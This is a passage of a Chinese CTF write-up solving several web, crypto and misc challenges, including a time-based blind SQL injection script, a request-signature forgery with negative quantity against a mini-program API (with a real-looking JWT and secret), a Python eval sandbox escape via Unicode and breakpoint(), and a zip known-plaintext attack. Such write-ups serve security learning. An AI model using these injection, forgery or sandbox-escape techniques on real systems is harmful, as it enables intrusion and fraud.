5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time

url = "http://127.0.0.1:56384/index.php"
result = ""

for i in range(1, 1000):
min_value = 32
max_value = 126

while min_value < max_value:
mid = (min_value + max_value) // 2
payload = "-1,if(ascii(substr((seLect(group_concat(flag))from(ctf.secret)),{0},1))>{1},benchmark(500000,md5('ydyd')),price)".format(i, mid)

full_url = f"{url}?type={payload}"
start_time = time.time()
response = requests.get(full_url)
elapsed_time = time.time() - start_time

if elapsed_time > 0.5:
min_value = mid + 1
else:
max_value = mid

if min_value == max_value and 32 <= min_value <= 126:
result += chr(min_value)

print("final:", result)

image-20241122012410595

预期解:

ORDER BY column in(a , b)的布尔盲注

这个语句会把column字段的值为in里面对应值的元素作为排除项排除在降序排序外单独降序排序

1
?type=in(if(ascii(substr(database(),1,1)>1),32,28))

EZVUE

一道JS题目

image-20241202174050951

当时做的时候确实想过是加密算法可能存在js代码中,但是后面自己想复杂了,还去搜VUE相关漏洞。。。

在源代码最后部分找到与AES相关的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
(function(e, t) {
(function(r, n, s) {
e.exports = n(s0(), dt(), nf(), sf(), Be(), of(), Ce(), li(), Nr(), xf(), ui(), ff(), af(), cf(), jr(), lf(), ce(), g0(), uf(), df(), hf(), pf(), vf(), Bf(), Cf(), Ef(), gf(), _f(), Af(), Ff(), Df(), bf(), yf(), mf(), wf())
}
)(n0, function(r) {
return r
})
}
)(ci);
var Sf = ci.exports;
const Re = Yx(Sf)
, Hf = {
class: "card"
}
, Rf = Os({
__name: "HelloWorld",
props: {
msg: {}
},
setup(e) {
const t = Re.enc.Utf8.parse("1145140000000000")
, r = Re.enc.Utf8.parse("1919810000000000");
window.WHAT = "RxPTuF+QBje7qMuvLyOclw3IM69A41A+39bNZ8u65JpuKyjkWNDZk5oPkX+f8hjs";
const n = no(0);
function s(i) {
return Re.AES.encrypt(i, t, {
iv: r,
mode: Re.mode.CBC,
padding: Re.pad.Pkcs7
}).toString()
}
return (i, a) => (ni(),
si(z0, null, [j0("h1", null, fr(i.msg), 1), j0("div", Hf, [j0("button", {
type: "button",
onClick: a[0] || (a[0] = f => n.value = s(Math.random().toString()))
}, "count is " + fr(n.value), 1)])], 64))
}
})
, di = (e, t) => {
const r = e.__vccOpts || e;
for (const [n,s] of t)
r[n] = s;
return r
}
, Pf = di(Rf, [["__scopeId", "data-v-6eefbd0d"]])
, kf = Os({
__name: "App",
setup(e) {
return (t, r) => (ni(),
si(z0, null, [r[0] || (r[0] = j0("div", null, [j0("a", {
href: "https://vite.dev",
target: "_blank"
}, [j0("img", {
src: Xx,
class: "logo",
alt: "Vite logo"
})]), j0("a", {
href: "https://vuejs.org/",
target: "_blank"
}, [j0("img", {
src: Zx,
class: "logo vue",
alt: "Vue logo"
})])], -1)), ie(Pf, {
msg: "Vite + Vue + ???"
})], 64))
}
})
, Tf = di(kf, [["__scopeId", "data-v-13f9eabc"]]);
Kx(Tf).mount("#app");

写对应的解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const CryptoJS = require('crypto-js');

const key = CryptoJS.enc.Utf8.parse("1145140000000000");
const iv = CryptoJS.enc.Utf8.parse("1919810000000000");

const ciphertext = "RxPTuF+QBje7qMuvLyOclw3IM69A41A+39bNZ8u65JpuKyjkWNDZk5oPkX+f8hjs";

// 解密函数
function decrypt(ciphertext) {
try {
const bytes = CryptoJS.AES.decrypt(ciphertext, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return bytes.toString(CryptoJS.enc.Utf8);
} catch (error) {
console.error('解密失败:', error);
return null;
}
}

const decrypted = decrypt(ciphertext);
console.log("解密结果:", decrypted);

星のflag: 卡比篇

小程序渗透,当时解包后一直去干星のflag: 瓦豆鲁德篇的flag了,当然花了时间也没干出来。。。

image-20241204180013858

兑换奖品

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /redeemPrize HTTP/2
Host: hosinoflag.yyz9.cn
Content-Length: 136
Xweb_xhr: 1
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzMzOTI1ODksIm9wZW5pZCI6Im9GblNQN2NDcTZ3ck93NjI1YWhhWmFqdWNGcnciLCJ1c2VybmFtZSI6IjIwMjMyMTI5NzEifQ.jIjqQ8hvGuI07agnkfvESX0rta9XTcI73G0Pgh4n_rY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c11)XWEB/11275
Content-Type: application/json
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://servicewechat.com/wxc822b4d5d0a7e6a3/2/page-frame.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9

{
"nonceStr":"a7kdaw2MnA7AaEcfkNtbHrbZ5nTtjSzh",
"quantity":1,
"time":1733306341557,
"type":"air",
"sign":"cd03ca93eba4907360e7e48e9fbac7ba"
}

我们看看响应

1
2
3
4
5
6
7
HTTP/2 401 Unauthorized
Server: nginx/1.27.0
Date: Wed, 04 Dec 2024 09:59:13 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 34

{"error":"Timestamp out of range"}

时间戳超出了范围,显然我们并不是当时的请求过后再来请求会被服务端那边检测到

通过代码审计,我们看到重要的签名参数部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// 签名相关工具函数
const signUtils = {
// 生成随机字符串
generateRandomString(length) {
const characters = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678";
let result = '';
for (let i = 0; i < length; i++) {
result += characters.charAt(Math.floor(Math.random() * characters.length));
}
return result;
},

// 获取时间戳
getTimestamp() {
return Date.now();
},

// 对象属性排序
sortObjectKeys(obj) {
const sortedKeys = Object.keys(obj).sort();
const sortedObj = {};

for (const key of sortedKeys) {
const value = obj[key];
// 判断是否为嵌套对象,如果是,递归调用排序函数
if (value !== null && typeof value === 'object' && !Array.isArray(value)) {
sortedObj[key] = this.sortObjectKeys(value);
} else {
sortedObj[key] = value;
}
}
return sortedObj;
},

// 生成签名
generateSignature(obj, authString) {
const stringToSign = "uEN1csMtt2Wmc0u6rHaGDvNHUHL9Wqds" +
JSON.stringify(obj).replace(/\s+/g, '') +
authString;
return this.md5(stringToSign);
},

// MD5加密
md5(input) {
return CryptoJS.MD5(input).toString();
},

// 生成完整的签名参数
generateSignParams(data, authString) {
// 初始化请求参数
const params = {
nonceStr: this.generateRandomString(32),
time: this.getTimestamp(),
...data
};

// 排序参数并生成签名
const sortedParams = this.sortObjectKeys(params);
const signature = this.generateSignature(sortedParams, authString);

// 将签名添加到参数中
return {
...sortedParams,
sign: signature
};
}
};

其中从我们的抓包数据来看

签名参数

1
2
3
4
5
{
nonceStr: generateRandomString(32), // 32位随机字符串
time: getTimestamp(), // 时间戳
sign: signature // MD5签名
}

签名生成过程

1
2
3
stringToSign = "uEN1csMtt2Wmc0u6rHaGDvNHUHL9Wqds" + // 固定密钥
JSON.stringify(sortedParams) + // 排序后的参数
authString // JWT token

认证信息

1
2
3
4
headers: {
'Authorization': wx.getStorageSync('Authorization') // JWT token
'Content-Type': 'application/json'
}

业务参数

1
2
3
4
{
type: "air", // 奖品类型
quantity: 1 // 数量
}

因为这些签名算法完全暴露在前端,固定密钥uEN1csMtt2Wmc0u6rHaGDvNHUHL9Wqds也在前端代码中,只要有有效的JWT token,就可以构造合法请求,我们再修改购买数量为0或者负数就可绕过(根据rea1ity师傅的说法是猜测后端的运算结果是由数量决定,但是没有对数量做出限制或者错误处理,也就是说我们的数量0经过后端计算只需要0积分,那自然会返回给我们flag,并显示购买成功)

签名脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
const CryptoJS = require('crypto-js');

class SignGenerator {
constructor(authToken) {
this.SECRET_KEY = "uEN1csMtt2Wmc0u6rHaGDvNHUHL9Wqds";
this.AUTH_TOKEN = authToken;
this.CHARS = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678";
}

// 生成随机字符串
generateRandomString(length = 32) {
let result = '';
for (let i = 0; i < length; i++) {
result += this.CHARS.charAt(Math.floor(Math.random() * this.CHARS.length));
}
return result;
}

// 获取时间戳
getTimestamp() {
return Date.now();
}

// 对象属性排序
sortObjectKeys(obj) {
const sortedKeys = Object.keys(obj).sort();
const sortedObj = {};

for (const key of sortedKeys) {
const value = obj[key];
if (value !== null && typeof value === 'object' && !Array.isArray(value)) {
sortedObj[key] = this.sortObjectKeys(value);
} else {
sortedObj[key] = value;
}
}
return sortedObj;
}

// 生成签名
generateSignature(params) {
const sortedParams = this.sortObjectKeys(params);
const stringToSign = this.SECRET_KEY +
JSON.stringify(sortedParams).replace(/\s+/g, '') +
this.AUTH_TOKEN;
return CryptoJS.MD5(stringToSign).toString();
}

// 生成完整请求参数
generateRequestParams(type, quantity) {
const params = {
nonceStr: this.generateRandomString(),
quantity: quantity,
time: this.getTimestamp(),
type: type
};

const sign = this.generateSignature(params);
return {
...params,
sign
};
}
}

const AUTH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzMzOTI1ODksIm9wZW5pZCI6Im9GblNQN2NDcTZ3ck93NjI1YWhhWmFqdWNGcnciLCJ1c2VybmFtZSI6IjIwMjMyMTI5NzEifQ.jIjqQ8hvGuI07agnkfvESX0rta9XTcI73G0Pgh4n_rY"; // 替换为你的实际token
const generator = new SignGenerator(AUTH_TOKEN);
const signedParams = generator.generateRequestParams("kirbysFlag", -1);

console.log(JSON.stringify(signedParams, null, 2));

image-20241204182600416

image-20241204182619513

这也是我第一次遇到小程序的题目,非常感谢yyz皇帝的题目来源,自己粗略的总结一下:永远不要相信前端代码的安全性

这个API安全机制包含了:

1
2
3
4
时间戳防重放
随机字符串防重复
参数签名防篡改
JWT token身份认证

但由于所有安全逻辑都在客户端实现,密钥直接硬编码在前端,完整的签名算法对攻击者可见,同时我们可以完全模拟客户端行为。所以关键的安全逻辑应该在服务器端实现。

Crypto

Rabin Attack

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
flag = 'Redrock{xxxxxxx}'

p = getPrime ( 512 )
q = getPrime ( 512 )
assert p > q
n = p * q
e = 65536
m = bytes_to_long ( flag )
gift1 = ( pow ( p , e , n ) - pow ( q , e , n ) ) % n
gift2 = pow ( p - q , e , n )
c = pow ( m , e , n )

print ( "gift1 =" , gift1 )
print ( "gift2 =" , gift2 )
print ( "n =" , n )
print ( "c =" , c )

'''
gift1 = 70612587795954392344132094730351403649829676891412980698720685677055233282945575188159753021039985877805925869036057939045603303707270735727465451481971229728857153219079805448545657237685935186892394077541589344177111006154640246714109802383872633756501917196067963687580349800926510289567359034040522209674
gift2 = 38463381889242878775851103219249929683898590502230614245284391193150679494898377733308518328326511354270705104866890313641160185926106305648319145903270699447472461263879678137700679430923772268112218545961984599486945138619458459998972955898816150905926656597823930838334680086640877216128845700128691465588
n = 93566489118308776213548693331730790051986994076752268755785265897482150175977191873408574414830058267133131613604483143078795628416063654383346104078580911952745697991375522526922908516196249414857302497260198309866671553599009574215710156854318056264828988885111028008676481908027550985766902115890583474937
c = 75747531080369602384428056951120987878900186477845434909504204471844047514139676853422617338712469202949435192552055475351523114283415371682553171988771857834140270923322175073118710434744943142539112104330240766284072851443916329309536962182662035765061720542151824288467075008996934135910736793674898991433
'''

如题,考察Rabin Attack

1
2
3
4
5
6
7
8
9
10
from sympy import invert, gcd

gift1 = 70612587795954392344132094730351403649829676891412980698720685677055233282945575188159753021039985877805925869036057939045603303707270735727465451481971229728857153219079805448545657237685935186892394077541589344177111006154640246714109802383872633756501917196067963687580349800926510289567359034040522209674
gift2 = 38463381889242878775851103219249929683898590502230614245284391193150679494898377733308518328326511354270705104866890313641160185926106305648319145903270699447472461263879678137700679430923772268112218545961984599486945138619458459998972955898816150905926656597823930838334680086640877216128845700128691465588
n = 93566489118308776213548693331730790051986994076752268755785265897482150175977191873408574414830058267133131613604483143078795628416063654383346104078580911952745697991375522526922908516196249414857302497260198309866671553599009574215710156854318056264828988885111028008676481908027550985766902115890583474937
c = 75747531080369602384428056951120987878900186477845434909504204471844047514139676853422617338712469202949435192552055475351523114283415371682553171988771857834140270923322175073118710434744943142539112104330240766284072851443916329309536962182662035765061720542151824288467075008996934135910736793674898991433
e = 65536

p = gcd((gift1 + gift2) * invert(2, n) % n, n)
q = n // p
1
2
p = 10081932238315687385012770550954823451545276153393768112021419941754686286903347341478095241885982205637699145202277483655169520745793948809883772697874271
q = 9280610790332015367967947019388344032975159169222776482071968113988805081077001455196347969558947825585792338745716738744981938064809025468640079632430247
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import long_to_bytes
from sympy import invert

p = 10081932238315687385012770550954823451545276153393768112021419941754686286903347341478095241885982205637699145202277483655169520745793948809883772697874271
q = 9280610790332015367967947019388344032975159169222776482071968113988805081077001455196347969558947825585792338745716738744981938064809025468640079632430247
n = 93566489118308776213548693331730790051986994076752268755785265897482150175977191873408574414830058267133131613604483143078795628416063654383346104078580911952745697991375522526922908516196249414857302497260198309866671553599009574215710156854318056264828988885111028008676481908027550985766902115890583474937
c = 75747531080369602384428056951120987878900186477845434909504204471844047514139676853422617338712469202949435192552055475351523114283415371682553171988771857834140270923322175073118710434744943142539112104330240766284072851443916329309536962182662035765061720542151824288467075008996934135910736793674898991433
e = 65536

phi = (p-1)*(q-1)

#e = 0x1000 rabin
x0=invert(p,q)
x1=invert(q,p)
cs = [c]
for i in range(16):
ms = []
for c2 in cs:
r = pow(c2, (p + 1) // 4, p)
s = pow(c2, (q + 1) // 4, q)
x = (r * x1 * q + s * x0 * p) % n
y = (r * x1 * q - s * x0 * p) % n
if x not in ms:
ms.append(x)
if n - x not in ms:
ms.append(n - x)
if y not in ms:
ms.append(y)
if n - y not in ms:
ms.append(n - y)
cs = ms

for m in ms:
flag = long_to_bytes(m)
if b'Red' in flag:
print(flag)

Classic_AES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import random
from Crypto.Cipher import AES
import base64
import os

def generate_key(seed):
random.seed(seed)
key = bytes([random.randint(0, 255) for _ in range(16)])
return key

def encrypt(plaintext, key):
cipher = AES.new(key, AES.MODE_ECB)
padded_plaintext = plaintext + (16 - len(plaintext) % 16) * chr(16 - len(plaintext) % 16)
ciphertext = cipher.encrypt(padded_plaintext.encode())
return base64.b64encode(ciphertext).decode()

if __name__ == "__main__":
flag = "Redrock{fake_flag}"
seed = a small Integer
key = generate_key(seed)
encrypted_flag = encrypt(flag, key)

print ( encrypted_flag )
#YGOe0JI/BJeUq8dCzqYKbXcXyqNr5gJE0pFko9PzgzOzsf+orKvRKxrvr2RV7KpK

ECB模式单一的Key,解密特点一对一,块独立

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import random
from Crypto.Cipher import AES
import base64

def generate_key(seed):
random.seed(seed)
key = bytes([random.randint(0, 255) for _ in range(16)])
return key

def decrypt(ciphertext, key):
cipher = AES.new(key, AES.MODE_ECB)
decoded_ciphertext = base64.b64decode(ciphertext)
decrypted_data = cipher.decrypt(decoded_ciphertext)
padding_length = decrypted_data[-1]
return decrypted_data[:-padding_length].decode()

if __name__ == "__main__":
encrypted_flag = "YGOe0JI/BJeUq8dCzqYKbXcXyqNr5gJE0pFko9PzgzOzsf+orKvRKxrvr2RV7KpK"

for seed in range(1, 10001):
key = generate_key(seed)
try:
decrypted_flag = decrypt(encrypted_flag, key)
if "Redrock" in decrypted_flag:
print(f"Seed: {seed}, Decrypted: {decrypted_flag}")
break
except Exception as e:
continue

real1ty的大秘密

解压出来一看800多MB,这完全打不开,但winhex能打开,发现很长的Base编码,这里直接脚本跑循环base编码,解到32次的时候解不出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import re, base64
s = open('C:\\Users\\23800\\Desktop\\2024红岩杯\\Misc\\real1ty的大秘密\\encrypted_flag.txt', 'rb').read()
base16_dic = r'^[A-F0-9=]*$'
base32_dic = r'^[A-Z2-7=]*$'
base64_dic = r'^[A-Za-z0-9/+=]*$'
n = 0
while True:
n += 1
t = s.decode()
if '{' in t:
print(t)
break
elif re.match(base16_dic, t):
s = base64.b16decode(s)
if n == 31:
print(f"After {n} base16 decodes: {t}")
print(str(n) + ' base16')
elif re.match(base32_dic, t):
s = base64.b32decode(s)
if n == 31:
print(f"After {n} base32 decodes: {t}")
print(str(n) + ' base32')
elif re.match(base64_dic, t):
s = base64.b64decode(s)
if n == 31:
print(f"After {n} base64 decodes: {t}")
print(str(n) + ' base64')
1
UmVkcm95a3tyZWFsMXRHX3IzbDFlc19Pbl95cnlQdG9fYUBkX3kwdV9rTm93X2I0c2VfaTVfTm90X3NlY3VyM19yMWdodD9GYnoyV5EyZndSfQ==

是的,如题,这里是变异base64,故名思义就是把标准的base64密码表中的字符交换了,题目说交换了三个,咱直接脚本爆破出来就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import base64
import itertools

base64_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
encoded_str = "UmVkcm95a3tyZWFsMXRHX3IzbDFlc19Pbl95cnlQdG9fYUBkX3kwdV9rTm93X2I0c2VfaTVfTm90X3NlY3VyM19yMWdodD9GYnoyV5EyZndSfQ=="

def swap_and_decode(encoded_str, swap_combination):
swap1, swap2, swap3 = swap_combination

swapped_chars = list(base64_chars)

for i in range(len(swapped_chars)):
if swapped_chars[i] == swap1:
swapped_chars[i] = swap2
elif swapped_chars[i] == swap2:
swapped_chars[i] = swap1
elif swapped_chars[i] == swap3:
swapped_chars[i] = swap3

new_base64_chars = ''.join(swapped_chars)

try:
translation_table = str.maketrans(base64_chars, new_base64_chars)
mutated_str = encoded_str.translate(translation_table)

decoded = base64.b64decode(mutated_str).decode('utf-8', 'ignore')
if 'Redrock{real1t' in decoded:
return decoded
except Exception as e:
pass

return None

def find_all_decodings(encoded_str):
results = []
for swap_combination in itertools.permutations(base64_chars, 3):
result = swap_and_decode(encoded_str, swap_combination)
if result:
results.append((result, swap_combination))
return results


decoded_flags = find_all_decodings(encoded_str)

if decoded_flags:
for decoded_flag, swap_combination in decoded_flags:
print(swap_combination)
print(decoded_flag)

easy_crypto

part1.txt

1
2
3
4
5
{179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639476135548957384814430421380051950478165216024326171811091664303054708946946973913520433391685552272677504015463314271147575309020901508290327321376975136757241,1029}
{179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639476135548957384814430421380051950478165216024326171811091664303054708946946973913520433391685552272677504015463314271147575309020901508290327321376975136757241,827}

message1 = 56545020805136418293440919930294895684949798741451490408570595412037724082309023842114075953893445556071632746051594135629626714258557177367434847674164943078594515152776556013148685904959148059648224378023132423155966444483361043867306203923409877858486344542977617022142116932973956814881845183864393123403
message2 = 127604537050053899598259650213960579430244257592544686684452027214314261904446265636510087811421840405928995444094382461621710147230572487111756388125153893798272225912775053505528947449567621431171392368455109845661012577915003571467217562674667366180475429671314224814810852431552635506388311909734110324047

part2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def affine_encrypt(plaintext, a, b):
m = 26 # 字母表的长度
ciphertext = ""

for char in plaintext:
if char.isalpha():
is_upper = char.isupper()
char = char.lower()
x = ord(char) - ord('a')
y = (a * x + b) % m
encrypted_char = chr(y + ord('a'))
if is_upper:
encrypted_char = encrypted_char.upper()
ciphertext += encrypted_char
else:
ciphertext += char
return ciphertext

if __name__ == "__main__":
a =
b =
plaintext = "" # 输入的明文
encrypted_text = affine_encrypt(plaintext, a, b)
print("加密结果:", encrypted_text)
#iL3Z7-Eb9F-2Wrc8

脑子痒痒的,有点事后诸葛亮的意思,当时给了part1一直不知道啥意思,但是模数N相同应该想到共模攻击的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#coding:utf-8
import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes, bytes_to_long

n=179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639476135548957384814430421380051950478165216024326171811091664303054708946946973913520433391685552272677504015463314271147575309020901508290327321376975136757241
e1=1029
c1=56545020805136418293440919930294895684949798741451490408570595412037724082309023842114075953893445556071632746051594135629626714258557177367434847674164943078594515152776556013148685904959148059648224378023132423155966444483361043867306203923409877858486344542977617022142116932973956814881845183864393123403
e2=827
c2=127604537050053899598259650213960579430244257592544686684452027214314261904446265636510087811421840405928995444094382461621710147230572487111756388125153893798272225912775053505528947449567621431171392368455109845661012577915003571467217562674667366180475429671314224814810852431552635506388311909734110324047


#共模攻击
#共模攻击函数
def rsa_gong_N_def(e1,e2,c1,c2,n):
e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
print("e1,e2:",e1,e2)
print(gmpy2.gcd(e1,e2))
s = gmpy2.gcdext(e1, e2)
print(s)
s1 = s[1]
s2 = s[2]
if s1 < 0:
s1 = - s1
c1 = gmpy2.invert(c1, n)
elif s2 < 0:
s2 = - s2
c2 = gmpy2.invert(c2, n)
m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
return int(m)

m = rsa_gong_N_def(e1,e2,c1,c2,n)
print(m)
print(long_to_bytes(m))
#print(libnum.n2s(int(m)).decode())
1
2
3
4
5
e1,e2: 1029 827
1
(mpz(1), mpz(348), mpz(-433))
666871727374757677788081868788904576826568717477808386666984879070
b'\x06U\x13Kv\xe0\xa3\xef\x90\x0b\x9b\xc3\x1c\x9dIQ\x9e\xb1r>\xdc\x8e\xe0\xb52?\xb3\xde'

这里最终只能正常得到一串数字

part2的话是一个仿射密码,不过缺少a和b。接下来实在不知道这串数字怎么用,wp给的是ASCII解密

1
2
3
4
numbers = "666871727374757677788081868788904576826568717477808386666984879070"
pairs = [numbers[i:i+2] for i in range(0, len(numbers), 2)]
result = ''.join([chr(int(pair)) for pair in pairs])
print(result)
1
BDGHIJKLMNPQVWXZ-LRADGJMPSVBETWZF

此时可以猜测BDGHIJKLMNPQVWXZ经过仿射加密得到LRADGJMPSVBETWZF,我们可以反求a和b

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def find_affine_parameters(plaintext, ciphertext):
# 将字符串转换为数字序列
plain_nums = [ord(c) - ord('A') for c in plaintext]
cipher_nums = [ord(c) - ord('A') for c in ciphertext]

# 尝试所有可能的a和b
for a in range(1, 26):
# a必须与26互质
if gcd(a, 26) != 1:
continue

for b in range(26):
valid = True
# 验证每一对明文密文是否满足关系
for p, c in zip(plain_nums, cipher_nums):
if (a * p + b) % 26 != c:
valid = False
break
if valid:
return a, b
return None

def gcd(a, b):
while b:
a, b = b, a % b
return a

plaintext = "BDGHIJKLMNPQVWXZ"
ciphertext = "LRADGJMPSVBETWZF"
result = find_affine_parameters(plaintext, ciphertext)
print(f"a = {result[0]}, b = {result[1]}")
1
a = 3, b = 8

最后求出flag即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
def mod_inverse(a, m):
"""求a在模m下的乘法逆元"""
def extended_gcd(a, b):
if a == 0:
return b, 0, 1
gcd, x1, y1 = extended_gcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return gcd, x, y

gcd, x, y = extended_gcd(a, m)
if gcd != 1:
raise Exception("模逆不存在")
return (x % m + m) % m

def affine_decrypt(ciphertext, a, b):
"""仿射解密函数"""
# 计算a的乘法逆元
a_inv = mod_inverse(a, 26)
plaintext = ""

for char in ciphertext:
if char.isalpha():
# 处理字母
is_upper = char.isupper()
char = char.lower()
y = ord(char) - ord('a')
# 解密公式:x ≡ a^(-1)(y - b) mod 26
x = (a_inv * (y - b)) % 26
decrypted_char = chr(x + ord('a'))
if is_upper:
decrypted_char = decrypted_char.upper()
plaintext += decrypted_char
elif char.isdigit():
# 保持数字不变
plaintext += char
else:
# 保持特殊字符不变
plaintext += char

return plaintext

if __name__ == "__main__":
a = 3
b = 8
ciphertext = "iL3Z7-Eb9F-2Wrc8"

decrypted_text = affine_decrypt(ciphertext, a, b)
print("密文:", ciphertext)
print("解密结果:", decrypted_text)
1
redrock{aB3X7-Qp9Z-2Wdy8}

怎么说呢,难肯定不难,但就是有点无厘头的感觉,斯

Misc

290的小秘密

考察知识点:LSB隐写

290

stegsolve发现red,green,blue最低位图片底部有点不同,LSB最低有效位隐写

image-20241209003649523

这还得熬多久

考察知识点:Python沙箱逃逸

进入后输入太长了不行,最多9个字符,输入得是表达式,否则返回

1
2
3
4
5
6
Traceback (most recent call last):
File "/home/ctf/server.py", line 39, in <module>
print('我的回答是:{}'.format(eval(input_data)))
^^^^^^^^^^^^^^^^
File "<string>", line 1, in <module>
NameError: name 'q' is not defined

这里可以看到是eval执行

本来想用input()去绕过长度限制,但是发现被ban了

但其实要输入eval(input())才会有用,所以搜索后发现可以用Unicode字符绕过

h𝓮lp()

现在sys模块下,发现了路径,在里面发现了如下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
help> server
Help on module server:

NAME
server

FUNCTIONS
filter_input(input_data) -> bool

filter_input1(input_data) -> bool

DATA
WELCOME = '\n ____ __ __ \n / .../__/ ,...
blacklist = ['exec', 'input', 'eval', 'help', 'os', 'import', '.', "'"...
input_data = 'h𝓮lp()'
secret_key = 'UBE1m9b0Yh2j'

FILE
/home/ctf/server.py

看起来是这个题目模块的一些信息,源码得知第二次输入要输入key

在第三次后输入breakpoint()调试函数,可以执行任意命令

image-20241118221313064

HardZip

考察知识点:明文攻击

第一关

给定的字典中去爆

image-20241117232921966

第二关

1
SRE????yyds

用python脚本生成字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import itertools
import string

prefix = "SRE"
suffix = "yyds"

charset = string.ascii_letters + string.digits

combinations = itertools.product(charset, repeat=4)

with open('dictionary.txt', 'w') as file:
for combination in combinations:
# 将组合拼接成密码
password = prefix + ''.join(combination) + suffix
file.write(password + '\n')

print("字典文件已生成:dictionary.txt")

image-20241117234442365

最后一关

image-20241209004625342

是真加密,一开始想的是明文攻击,通过flag格式Redrock去爆破,但是至少得12个字节,而png照片中的前12位是固定的文件头,将其写进文件中,用bkcrack爆破

1
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D

image-20241118020836762

Are you a JPG master?

考察知识点:Java盲水印

level1

image-20241120155418856

得到密码

1
@t$#fcm9y

解出level2压缩包文件,里面有个字典和一张图片

stegseek解出

1
stegseek level2.jpg dic.txt

image-20241120161348853

memory

内存取证,查看操作系统类型

image-20241120163247177

image-20241120165248263

发现有个secret.png

1
0x0000000015cf1ea0

image-20241120165537766

查看浏览器记录(这个要volatility2才行)

1
vol.py -f ../memory.vmem --profile Win7SP1x64 iehistory

但我两者都试了都未发现

查看剪切板

1
vol.py -f ../memory.vmem --profile Win7SP1x64 clipboard

image-20241209011440943

part3也可以

1
strings ../memory.vmem | grep "part3"

image-20241209011845486

1
Redrock{Memo3y_15_verY_111terest1ng}

我图图呢

图片无法打开一开始,用winhex查看

有IHDR和IDAT字样为png格式图片

image-20241209014504928

将文件头改一下,并在末尾找到半个flag

image-20241209014707744

image-20241209014822194

CRC矫正宽高看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import zlib
import struct


with open(r'C:\\Users\\23800\\Desktop\\2024红岩杯\\Misc\\我图图呢.png', 'rb') as image_data:
bin_data = image_data.read()

data = bytearray(bin_data[12:29])

crc32_bytes = bin_data[29:33]

crc32key = int.from_bytes(crc32_bytes, byteorder='big')

n = 4096

for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x + 4] = width[x]
data[x + 8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print("width:%s height:%s" % (bytearray(width).hex(),
bytearray(height).hex()))
exit()
1
width:00000166  height:000000ea
